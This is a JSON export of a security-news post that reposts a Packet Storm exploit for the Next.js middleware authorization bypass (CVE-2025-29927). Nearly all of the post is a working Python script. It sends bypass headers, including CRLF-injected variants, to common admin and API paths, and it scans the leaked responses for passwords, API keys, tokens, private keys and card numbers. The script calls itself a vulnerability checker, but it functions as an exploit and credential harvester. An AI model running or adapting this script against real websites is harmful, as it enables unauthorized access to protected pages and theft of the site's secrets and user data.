{"id":39823,"date":"2026-02-09T10:52:45","date_gmt":"2026-02-09T10:52:45","guid":{"rendered":"http:\/\/localhost\/?p=39823"},"modified":"2026-02-09T10:52:45","modified_gmt":"2026-02-09T10:52:45","slug":"nextjs-1523-middleware-authorization-bypass","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=39823","title":{"rendered":"\ud83d\udcc4 Next.js 15.2.3 Middleware Authorization Bypass_PACKETSTORM:215166"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-02-09T16:16:55&#8243;,&#8221;description&#8221;:&#8221;This Python script checks whether a website built with Next.js is vulnerable to CVE\u20112025\u201129927, a middleware authorization bypass flaw triggered by the request header:x-middleware-subrequest&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-02-09T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-02-09T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Next.js 15.2.3 Middleware Authorization Bypass&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:215166&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-29927&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n    | # Title     : Next.js 15.2.3 Middleware Authorization Bypass Vulnerability                                                                |\\n    | # Author    : indoushka                                                                                                                   |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.2 (64 bits)                                                            |\\n    | # Vendor    : https:\/\/nextjs.org\/                                                                                                         |\\n    =============================================================================================================================================\\n    \\n    [+] References : https:\/\/packetstorm.news\/files\/id\/212394\/ \\u0026\\tCVE-2025-29927\\n    \\n    [+] Summary :  This Python script checks whether a website built with Next.js is vulnerable to CVE\u20112025\u201129927, \\n                  a middleware authorization bypass flaw triggered by the request header:x-middleware-subrequest\\n    \\n    [+] What the script does:\\n    \\n    Attempts to detect the Next.js version automatically.\\n    \\n    Determines whether the detected version is potentially vulnerable.\\n    \\n    Sends both normal requests and bypass requests (with the special header) to common sensitive endpoints.\\n    \\n    Compares responses to identify differences that may indicate bypass or unauthorized access.\\n    \\n    [+] Result:\\n    \\n    If the response returned with the bypass header differs significantly from the normal request (status code or body), the target may be vulnerable.\\n    \\n    In short:\\n    The script detects and tests for the Next.js middleware bypass vulnerability (CVE\u20112025\u201129927).\\n    \\n    [+]  POC : \\n    \\n    #!\/usr\/bin\/env python3\\n    \\&#8221;\\&#8221;\\&#8221;\\n    \\n    Usage: python3 poc.py https:\/\/target.com\\n    \\&#8221;\\&#8221;\\&#8221;\\n    \\n    import requests\\n    import sys\\n    import json\\n    import time\\n    from urllib.parse import urljoin, urlparse\\n    from concurrent.futures import ThreadPoolExecutor\\n    import argparse\\n    import colorama\\n    from colorama import Fore, Style\\n    \\n    colorama.init()\\n    \\n    class NextJSBypassPOC:\\n        def __init__(self, target_url, proxy=None, cookies=None):\\n            self.target = target_url.rstrip(&#8216;\/&#8217;)\\n            self.session = requests.Session()\\n            self.vulnerable_endpoints = []\\n            self.found_data = []\\n            \\n            if proxy:\\n                self.session.proxies = {\\n                    &#8216;http&#8217;: proxy,\\n                    &#8216;https&#8217;: proxy\\n                }\\n            \\n            if cookies:\\n                self.session.headers.update({&#8216;Cookie&#8217;: cookies})\\n            \\n            self.session.headers.update({\\n                &#8216;User-Agent&#8217;: &#8216;Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36&#8217;,\\n                &#8216;Accept&#8217;: &#8216;text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8&#8217;,\\n                &#8216;Accept-Language&#8217;: &#8216;en-US,en;q=0.5&#8217;,\\n                &#8216;Accept-Encoding&#8217;: &#8216;gzip, deflate&#8217;,\\n                &#8216;Connection&#8217;: &#8216;close&#8217;,\\n                &#8216;Upgrade-Insecure-Requests&#8217;: &#8216;1&#8217;\\n            })\\n        \\n        def print_banner(self):\\n            banner = f\\&#8221;\\&#8221;\\&#8221;\\n    {Fore.RED}\\n    \u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\\n    \u2551    Next.js Middleware Authentication Bypass PoC              \u2551\\n    \u2551    CVE-2025-29927 &#8211; Critical Security Vulnerability          \u2551\\n    \u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d\\n    {Style.RESET_ALL}\\n    Target: {self.target}\\n    Time: {time.strftime(&#8216;%Y-%m-%d %H:%M:%S&#8217;)}\\n            \\&#8221;\\&#8221;\\&#8221;\\n            print(banner)\\n        \\n        def test_bypass(self, endpoint, payload=\\&#8221;middleware\\&#8221;):\\n            \\&#8221;\\&#8221;\\&#8221;\u0627\u062e\u062a\u0628\u0627\u0631 bypass \u0639\u0644\u0649 \u0646\u0642\u0637\u0629 \u0646\u0647\u0627\u064a\u0629 \u0645\u062d\u062f\u062f\u0629\\&#8221;\\&#8221;\\&#8221;\\n            url = urljoin(self.target, endpoint)\\n            \\n            try:\\n                # Request \u0639\u0627\u062f\u064a\u0629 (\u064a\u062c\u0628 \u0623\u0646 \u062a\u0631\u062c\u0639 401\/403 \u0625\u0630\u0627 \u0643\u0627\u0646\u062a \u0645\u062d\u0645\u064a\u0629)\\n                normal_response = self.session.get(url, timeout=10)\\n                \\n                # Request \u0645\u0639 header \u0627\u0644\u0640 bypass\\n                bypass_headers = {\\n                    &#8216;x-middleware-subrequest&#8217;: payload,\\n                    &#8216;x-forwarded-for&#8217;: &#8216;127.0.0.1&#8217;,\\n                    &#8216;x-real-ip&#8217;: &#8216;127.0.0.1&#8217;\\n                }\\n                \\n                bypass_response = self.session.get(\\n                    url, \\n                    headers=bypass_headers, \\n                    timeout=10,\\n                    allow_redirects=False\\n                )\\n                \\n                # \u062a\u062d\u0644\u064a\u0644 \u0627\u0644\u0646\u062a\u0627\u0626\u062c\\n                is_vulnerable = self.analyze_responses(\\n                    normal_response, \\n                    bypass_response, \\n                    endpoint, \\n                    payload\\n                )\\n                \\n                return {\\n                    &#8216;endpoint&#8217;: endpoint,\\n                    &#8216;url&#8217;: url,\\n                    &#8216;normal_status&#8217;: normal_response.status_code,\\n                    &#8216;normal_length&#8217;: len(normal_response.content),\\n                    &#8216;bypass_status&#8217;: bypass_response.status_code,\\n                    &#8216;bypass_length&#8217;: len(bypass_response.content),\\n                    &#8216;payload&#8217;: payload,\\n                    &#8216;vulnerable&#8217;: is_vulnerable,\\n                    &#8216;response_sample&#8217;: bypass_response.text[:500] if is_vulnerable else None\\n                }\\n                \\n            except Exception as e:\\n                print(f\\&#8221;{Fore.YELLOW}[!] Error testing {endpoint}: {e}{Style.RESET_ALL}\\&#8221;)\\n                return None\\n        \\n        def analyze_responses(self, normal, bypass, endpoint, payload):\\n            \\&#8221;\\&#8221;\\&#8221;\u062a\u062d\u0644\u064a\u0644 \u0627\u0644\u0641\u0631\u0648\u0642 \u0628\u064a\u0646 \u0627\u0644\u0631\u062f\u0648\u062f\\&#8221;\\&#8221;\\&#8221;\\n            \\n            # \u062d\u0627\u0644\u0629 1: \u0627\u0644\u0640 bypass \u064a\u0633\u0645\u062d \u0628\u0627\u0644\u0648\u0635\u0648\u0644 \u0625\u0644\u0649 \u0635\u0641\u062d\u0629 \u0643\u0627\u0646\u062a \u0645\u062d\u0638\u0648\u0631\u0629\\n            if normal.status_code in [401, 403, 404] and bypass.status_code == 200:\\n                print(f\\&#8221;{Fore.GREEN}[+] SUCCESS! Bypass worked on {endpoint}\\&#8221;)\\n                print(f\\&#8221;    Normal: {normal.status_code} | Bypass: {bypass.status_code}{Style.RESET_ALL}\\&#8221;)\\n                return True\\n            \\n            # \u062d\u0627\u0644\u0629 2: \u062a\u063a\u064a\u064a\u0631 \u0641\u064a \u0645\u062d\u062a\u0648\u0649 \u0627\u0644\u0631\u062f\\n            if bypass.status_code == 200 and normal.status_code == 200:\\n                if bypass.content != normal.content:\\n                    print(f\\&#8221;{Fore.CYAN}[+] Content difference on {endpoint}\\&#8221;)\\n                    print(f\\&#8221;    Length difference: {len(bypass.content) &#8211; len(normal.content)} bytes{Style.RESET_ALL}\\&#8221;)\\n                    return True\\n            \\n            # \u062d\u0627\u0644\u0629 3: \u062a\u063a\u064a\u064a\u0631 \u0641\u064a \u0627\u0644\u0640 status code\\n            if normal.status_code != bypass.status_code:\\n                print(f\\&#8221;{Fore.BLUE}[+] Status code changed on {endpoint}\\&#8221;)\\n                print(f\\&#8221;    {normal.status_code} -\\u003e {bypass.status_code}{Style.RESET_ALL}\\&#8221;)\\n                return True\\n            \\n            return False\\n        \\n        def discover_endpoints(self):\\n            \\&#8221;\\&#8221;\\&#8221;\u0627\u0643\u062a\u0634\u0627\u0641 \u0646\u0642\u0627\u0637 \u0627\u0644\u0646\u0647\u0627\u064a\u0629 \u062a\u0644\u0642\u0627\u0626\u064a\u0627\u064b\\&#8221;\\&#8221;\\&#8221;\\n            endpoints = []\\n            \\n            # \u0642\u0627\u0626\u0645\u0629 \u0646\u0642\u0627\u0637 \u0627\u0644\u0646\u0647\u0627\u064a\u0629 \u0627\u0644\u0634\u0627\u0626\u0639\u0629\\n            common_paths = [\\n                \\&#8221;\/admin\\&#8221;, \\&#8221;\/admin\/login\\&#8221;, \\&#8221;\/admin\/dashboard\\&#8221;, \\&#8221;\/admin\/panel\\&#8221;,\\n                \\&#8221;\/api\\&#8221;, \\&#8221;\/api\/auth\\&#8221;, \\&#8221;\/api\/admin\\&#8221;, \\&#8221;\/api\/users\\&#8221;, \\&#8221;\/api\/config\\&#8221;,\\n                \\&#8221;\/dashboard\\&#8221;, \\&#8221;\/profile\\&#8221;, \\&#8221;\/account\\&#8221;, \\&#8221;\/settings\\&#8221;, \\&#8221;\/user\\&#8221;,\\n                \\&#8221;\/private\\&#8221;, \\&#8221;\/internal\\&#8221;, \\&#8221;\/secure\\&#8221;, \\&#8221;\/protected\\&#8221;,\\n                \\&#8221;\/wp-admin\\&#8221;, \\&#8221;\/wp-login\\&#8221;, \\&#8221;\/cpanel\\&#8221;, \\&#8221;\/control\\&#8221;,\\n                \\&#8221;\/_next\\&#8221;, \\&#8221;\/_next\/data\\&#8221;, \\&#8221;\/_next\/static\\&#8221;, \\&#8221;\/_next\/webpack\\&#8221;,\\n                \\&#8221;\/api\/private\\&#8221;, \\&#8221;\/api\/internal\\&#8221;, \\&#8221;\/api\/secure\\&#8221;,\\n                \\&#8221;\/management\\&#8221;, \\&#8221;\/system\\&#8221;, \\&#8221;\/config\\&#8221;, \\&#8221;\/backup\\&#8221;,\\n                \\&#8221;\/test\\&#8221;, \\&#8221;\/debug\\&#8221;, \\&#8221;\/console\\&#8221;, \\&#8221;\/shell\\&#8221;,\\n                \\&#8221;\/api\/v1\\&#8221;, \\&#8221;\/api\/v2\\&#8221;, \\&#8221;\/api\/v3\\&#8221;,\\n                \\&#8221;\/api\/v1\/admin\\&#8221;, \\&#8221;\/api\/v1\/user\\&#8221;, \\&#8221;\/api\/v1\/config\\&#8221;,\\n                \\&#8221;\/graphql\\&#8221;, \\&#8221;\/graphql\/v1\\&#8221;, \\&#8221;\/graphql\/admin\\&#8221;,\\n                \\&#8221;\/swagger\\&#8221;, \\&#8221;\/swagger-ui\\&#8221;, \\&#8221;\/api-docs\\&#8221;,\\n                \\&#8221;\/actuator\\&#8221;, \\&#8221;\/health\\&#8221;, \\&#8221;\/metrics\\&#8221;, \\&#8221;\/info\\&#8221;,\\n                \\&#8221;\/phpmyadmin\\&#8221;, \\&#8221;\/mysql\\&#8221;, \\&#8221;\/sql\\&#8221;, \\&#8221;\/db\\&#8221;,\\n                \\&#8221;\/vendor\\&#8221;, \\&#8221;\/storage\\&#8221;, \\&#8221;\/uploads\\&#8221;, \\&#8221;\/downloads\\&#8221;\\n            ]\\n            \\n            # \u0627\u0643\u062a\u0634\u0627\u0641 \u0645\u0646 robots.txt\\n            try:\\n                robots = self.session.get(urljoin(self.target, \\&#8221;\/robots.txt\\&#8221;), timeout=5)\\n                if robots.status_code == 200:\\n                    for line in robots.text.split(&#8216;\\\\n&#8217;):\\n                        if line.startswith(&#8216;Disallow:&#8217;):\\n                            path = line.split(&#8216;: &#8216;)[1] if &#8216;: &#8216; in line else line[9:]\\n                            if path.strip() and path not in endpoints:\\n                                endpoints.append(path.strip())\\n            except:\\n                pass\\n            \\n            # \u0627\u0643\u062a\u0634\u0627\u0641 \u0645\u0646 sitemap.xml\\n            try:\\n                sitemap = self.session.get(urljoin(self.target, \\&#8221;\/sitemap.xml\\&#8221;), timeout=5)\\n                if sitemap.status_code == 200:\\n                    import re\\n                    urls = re.findall(r&#8217;\\u003cloc\\u003e(.*?)\\u003c\/loc\\u003e&#8217;, sitemap.text)\\n                    for url in urls:\\n                        path = urlparse(url).path\\n                        if path and path not in endpoints:\\n                            endpoints.append(path)\\n            except:\\n                pass\\n            \\n            return endpoints + common_paths\\n        \\n        def test_payload_variations(self, endpoint):\\n            \\&#8221;\\&#8221;\\&#8221;\u062a\u062c\u0631\u0628\u0629 \u0623\u0646\u0648\u0627\u0639 \u0645\u062e\u062a\u0644\u0641\u0629 \u0645\u0646 payloads\\&#8221;\\&#8221;\\&#8221;\\n            payloads = [\\n                # Basic bypass\\n                \\&#8221;middleware\\&#8221;,\\n                \\&#8221;1\\&#8221;,\\n                \\&#8221;true\\&#8221;,\\n                \\&#8221;yes\\&#8221;,\\n                \\&#8221;on\\&#8221;,\\n                \\&#8221;enable\\&#8221;,\\n                \\n                # Multiple values\\n                \\&#8221;middleware:middleware\\&#8221;,\\n                \\&#8221;middleware:middleware:middleware\\&#8221;,\\n                \\&#8221;middleware:middleware:middleware:middleware\\&#8221;,\\n                \\&#8221;middleware:middleware:middleware:middleware:middleware\\&#8221;,\\n                \\n                # With newlines\\n                \\&#8221;middleware\\\\nx-forwarded-for: 127.0.0.1\\&#8221;,\\n                \\&#8221;middleware\\\\r\\\\nx-forwarded-for: 127.0.0.1\\&#8221;,\\n                \\n                # Special characters\\n                \\&#8221;middleware;\\&#8221;,\\n                \\&#8221;middleware%00\\&#8221;,\\n                \\&#8221;middleware%0a\\&#8221;,\\n                \\&#8221;middleware%0d\\&#8221;,\\n                \\n                # Case variations\\n                \\&#8221;Middleware\\&#8221;,\\n                \\&#8221;MIDDLEWARE\\&#8221;,\\n                \\&#8221;mIdDlEwArE\\&#8221;,\\n                \\n                # Other headers\\n                \\&#8221;x-middleware-subrequest\\&#8221;,\\n                \\&#8221;next-middleware\\&#8221;,\\n                \\&#8221;next-js-middleware\\&#8221;\\n            ]\\n            \\n            results = []\\n            for payload in payloads:\\n                result = self.test_bypass(endpoint, payload)\\n                if result and result[&#8216;vulnerable&#8217;]:\\n                    results.append(result)\\n                    # \u062d\u0641\u0638 \u0627\u0644\u0628\u064a\u0627\u0646\u0627\u062a \u0627\u0644\u0645\u0643\u0634\u0648\u0641\u0629\\n                    if result[&#8216;response_sample&#8217;]:\\n                        self.found_data.append({\\n                            &#8216;endpoint&#8217;: endpoint,\\n                            &#8216;payload&#8217;: payload,\\n                            &#8216;data&#8217;: result[&#8216;response_sample&#8217;]\\n                        })\\n            \\n            return results\\n        \\n        def exploit_sensitive_data(self, vulnerable_endpoints):\\n            \\&#8221;\\&#8221;\\&#8221;\u0627\u0633\u062a\u062e\u0631\u0627\u062c \u0627\u0644\u0628\u064a\u0627\u0646\u0627\u062a \u0627\u0644\u062d\u0633\u0627\u0633\u0629 \u0645\u0646 \u0627\u0644\u0646\u0642\u0627\u0637 \u0627\u0644\u0636\u0639\u064a\u0641\u0629\\&#8221;\\&#8221;\\&#8221;\\n            sensitive_patterns = [\\n                (r&#8217;password[=:][\\&#8221;\\\\&#8217;]?(.*?)[\\&#8221;\\\\&#8217; ]&#8217;, &#8216;Passwords&#8217;),\\n                (r&#8217;api[_-]?key[=:][\\&#8221;\\\\&#8217;]?(.*?)[\\&#8221;\\\\&#8217; ]&#8217;, &#8216;API Keys&#8217;),\\n                (r&#8217;token[=:][\\&#8221;\\\\&#8217;]?(.*?)[\\&#8221;\\\\&#8217; ]&#8217;, &#8216;Tokens&#8217;),\\n                (r&#8217;secret[=:][\\&#8221;\\\\&#8217;]?(.*?)[\\&#8221;\\\\&#8217; ]&#8217;, &#8216;Secrets&#8217;),\\n                (r&#8217;admin[=:][\\&#8221;\\\\&#8217;]?(.*?)[\\&#8221;\\\\&#8217; ]&#8217;, &#8216;Admin Credentials&#8217;),\\n                (r&#8217;email[=:][\\&#8221;\\\\&#8217;]?(.*?)[\\&#8221;\\\\&#8217; ]&#8217;, &#8216;Emails&#8217;),\\n                (r&#8217;user[=:][\\&#8221;\\\\&#8217;]?(.*?)[\\&#8221;\\\\&#8217; ]&#8217;, &#8216;Usernames&#8217;),\\n                (r'([0-9]{16})[0-9]{3}&#8217;, &#8216;Credit Cards (Potential)&#8217;),\\n                (r&#8217;&#8212;&#8211;BEGIN (RSA|DSA|EC|OPENSSH) PRIVATE KEY&#8212;&#8211;&#8216;, &#8216;Private Keys&#8217;)\\n            ]\\n            \\n            print(f\\&#8221;\\\\n{Fore.MAGENTA}[*] Scanning for sensitive data&#8230;{Style.RESET_ALL}\\&#8221;)\\n            \\n            for endpoint_info in vulnerable_endpoints:\\n                if endpoint_info.get(&#8216;response_sample&#8217;):\\n                    data = endpoint_info[&#8216;response_sample&#8217;]\\n                    for pattern, label in sensitive_patterns:\\n                        import re\\n                        matches = re.findall(pattern, data, re.IGNORECASE)\\n                        if matches:\\n                            print(f\\&#8221;{Fore.RED}[!] Found {label} in {endpoint_info[&#8216;endpoint&#8217;]}{Style.RESET_ALL}\\&#8221;)\\n                            for match in matches[:3]:  # \u0639\u0631\u0636 \u0623\u0648\u0644 3 \u0646\u062a\u0627\u0626\u062c \u0641\u0642\u0637\\n                                if isinstance(match, tuple):\\n                                    match = match[0]\\n                                print(f\\&#8221;    {match[:50]}&#8230;\\&#8221;)\\n        \\n        def run_scan(self, threads=5):\\n            \\&#8221;\\&#8221;\\&#8221;\u062a\u0634\u063a\u064a\u0644 \u0627\u0644\u0645\u0633\u062d \u0627\u0644\u0643\u0627\u0645\u0644\\&#8221;\\&#8221;\\&#8221;\\n            self.print_banner()\\n            \\n            print(f\\&#8221;{Fore.CYAN}[*] Discovering endpoints&#8230;{Style.RESET_ALL}\\&#8221;)\\n            endpoints = self.discover_endpoints()\\n            print(f\\&#8221;[*] Found {len(endpoints)} endpoints to test\\&#8221;)\\n            \\n            print(f\\&#8221;\\\\n{Fore.CYAN}[*] Testing for bypass vulnerability&#8230;{Style.RESET_ALL}\\&#8221;)\\n            \\n            # \u0627\u0633\u062a\u062e\u062f\u0627\u0645 threads \u0644\u0644\u0645\u0633\u062d \u0627\u0644\u0633\u0631\u064a\u0639\\n            with ThreadPoolExecutor(max_workers=threads) as executor:\\n                futures = []\\n                for endpoint in endpoints:\\n                    futures.append(executor.submit(self.test_payload_variations, endpoint))\\n                \\n                for future in futures:\\n                    try:\\n                        results = future.result(timeout=30)\\n                        if results:\\n                            self.vulnerable_endpoints.extend(results)\\n                    except Exception as e:\\n                        continue\\n            \\n            # \u0639\u0631\u0636 \u0627\u0644\u0646\u062a\u0627\u0626\u062c\\n            self.print_results()\\n            \\n            # \u0627\u0644\u0628\u062d\u062b \u0639\u0646 \u0628\u064a\u0627\u0646\u0627\u062a \u062d\u0633\u0627\u0633\u0629\\n            if self.vulnerable_endpoints:\\n                self.exploit_sensitive_data(self.vulnerable_endpoints)\\n            \\n            return self.vulnerable_endpoints\\n        \\n        def print_results(self):\\n            \\&#8221;\\&#8221;\\&#8221;\u0637\u0628\u0627\u0639\u0629 \u0627\u0644\u0646\u062a\u0627\u0626\u062c \u0628\u0634\u0643\u0644 \u0645\u0646\u0638\u0645\\&#8221;\\&#8221;\\&#8221;\\n            print(f\\&#8221;\\\\n{Fore.YELLOW}\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550{Style.RESET_ALL}\\&#8221;)\\n            print(f\\&#8221;{Fore.CYAN}[*] SCAN COMPLETED{Style.RESET_ALL}\\&#8221;)\\n            print(f\\&#8221;[*] Total vulnerable endpoints: {len(self.vulnerable_endpoints)}\\&#8221;)\\n            \\n            if self.vulnerable_endpoints:\\n                print(f\\&#8221;\\\\n{Fore.GREEN}[+] VULNERABLE ENDPOINTS:{Style.RESET_ALL}\\&#8221;)\\n                for i, vuln in enumerate(self.vulnerable_endpoints, 1):\\n                    print(f\\&#8221;\\\\n{i}. {Fore.GREEN}{vuln[&#8216;endpoint&#8217;]}{Style.RESET_ALL}\\&#8221;)\\n                    print(f\\&#8221;   URL: {vuln[&#8216;url&#8217;]}\\&#8221;)\\n                    print(f\\&#8221;   Payload: {vuln[&#8216;payload&#8217;]}\\&#8221;)\\n                    print(f\\&#8221;   Normal: HTTP {vuln[&#8216;normal_status&#8217;]} ({vuln[&#8216;normal_length&#8217;]} bytes)\\&#8221;)\\n                    print(f\\&#8221;   Bypass: HTTP {vuln[&#8216;bypass_status&#8217;]} ({vuln[&#8216;bypass_length&#8217;]} bytes)\\&#8221;)\\n                    \\n                    if vuln[&#8216;response_sample&#8217;]:\\n                        print(f\\&#8221;   Sample: {vuln[&#8216;response_sample&#8217;][:100]}&#8230;\\&#8221;)\\n            else:\\n                print(f\\&#8221;{Fore.RED}[-] No vulnerable endpoints found{Style.RESET_ALL}\\&#8221;)\\n    \\n    def main():\\n        parser = argparse.ArgumentParser(\\n            description=&#8217;Next.js CVE-2025-29927 Authentication Bypass PoC&#8217;\\n        )\\n        parser.add_argument(&#8216;target&#8217;, help=&#8217;Target URL (e.g., https:\/\/example.com)&#8217;)\\n        parser.add_argument(&#8216;-t&#8217;, &#8216;&#8211;threads&#8217;, type=int, default=5, \\n                           help=&#8217;Number of threads (default: 5)&#8217;)\\n        parser.add_argument(&#8216;-p&#8217;, &#8216;&#8211;proxy&#8217;, help=&#8217;Proxy server (e.g., http:\/\/127.0.0.1:8080)&#8217;)\\n        parser.add_argument(&#8216;-c&#8217;, &#8216;&#8211;cookies&#8217;, help=&#8217;Cookies for authenticated session&#8217;)\\n        parser.add_argument(&#8216;-o&#8217;, &#8216;&#8211;output&#8217;, help=&#8217;Output file for results&#8217;)\\n        parser.add_argument(&#8216;&#8211;timeout&#8217;, type=int, default=10,\\n                           help=&#8217;Request timeout in seconds&#8217;)\\n        \\n        args = parser.parse_args()\\n        \\n        # \u0625\u0646\u0634\u0627\u0621 \u0643\u0627\u0626\u0646 \u0627\u0644\u0645\u0633\u062d \u0648\u062a\u0634\u063a\u064a\u0644\u0647\\n        scanner = NextJSBypassPOC(\\n            target_url=args.target,\\n            proxy=args.proxy,\\n            cookies=args.cookies\\n        )\\n        \\n        try:\\n            results = scanner.run_scan(threads=args.threads)\\n            \\n            # \u062d\u0641\u0638 \u0627\u0644\u0646\u062a\u0627\u0626\u062c \u0625\u0630\u0627 \u0637\u0644\u0628\\n            if args.output and results:\\n                import json\\n                with open(args.output, &#8216;w&#8217;) as f:\\n                    json.dump(results, f, indent=2)\\n                print(f\\&#8221;\\\\n{Fore.GREEN}[+] Results saved to {args.output}{Style.RESET_ALL}\\&#8221;)\\n                \\n        except KeyboardInterrupt:\\n            print(f\\&#8221;\\\\n{Fore.YELLOW}[!] Scan interrupted by user{Style.RESET_ALL}\\&#8221;)\\n            sys.exit(0)\\n        except Exception as e:\\n            print(f\\&#8221;{Fore.RED}[!] Error: {e}{Style.RESET_ALL}\\&#8221;)\\n            sys.exit(1)\\n    \\n    if __name__ == \\&#8221;__main__\\&#8221;:\\n        if len(sys.argv) \\u003c 2:\\n            print(f\\&#8221;Usage: {sys.argv[0]} \\u003ctarget_url\\u003e [options]\\&#8221;)\\n            print(\\&#8221;\\\\nExample: python3 poc.py https:\/\/vulnerable-site.com -t 10 -o results.json\\&#8221;)\\n            sys.exit(1)\\n        \\n        main()\\n    \\n    Greetings to :=====================================================================================\\n    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n    ===================================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/215166&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:9.1,&#8221;severity&#8221;:&#8221;CRITICAL&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:N&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/215166\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-02-09T16:16:55&#8243;,&#8221;description&#8221;:&#8221;This Python script checks whether a website built with Next.js is vulnerable to CVE\u20112025\u201129927, a middleware authorization bypass flaw triggered by the request header:x-middleware-subrequest&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-02-09T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-02-09T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Next.js&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,10,12,13,53,7,11,5],"class_list":["post-39823","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-91","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 Next.js 15.2.3 Middleware Authorization Bypass_PACKETSTORM:215166 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=39823\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 Next.js 15.2.3 Middleware Authorization Bypass_PACKETSTORM:215166 - zero redgem\" \/>\n<meta property=\"og:description\" 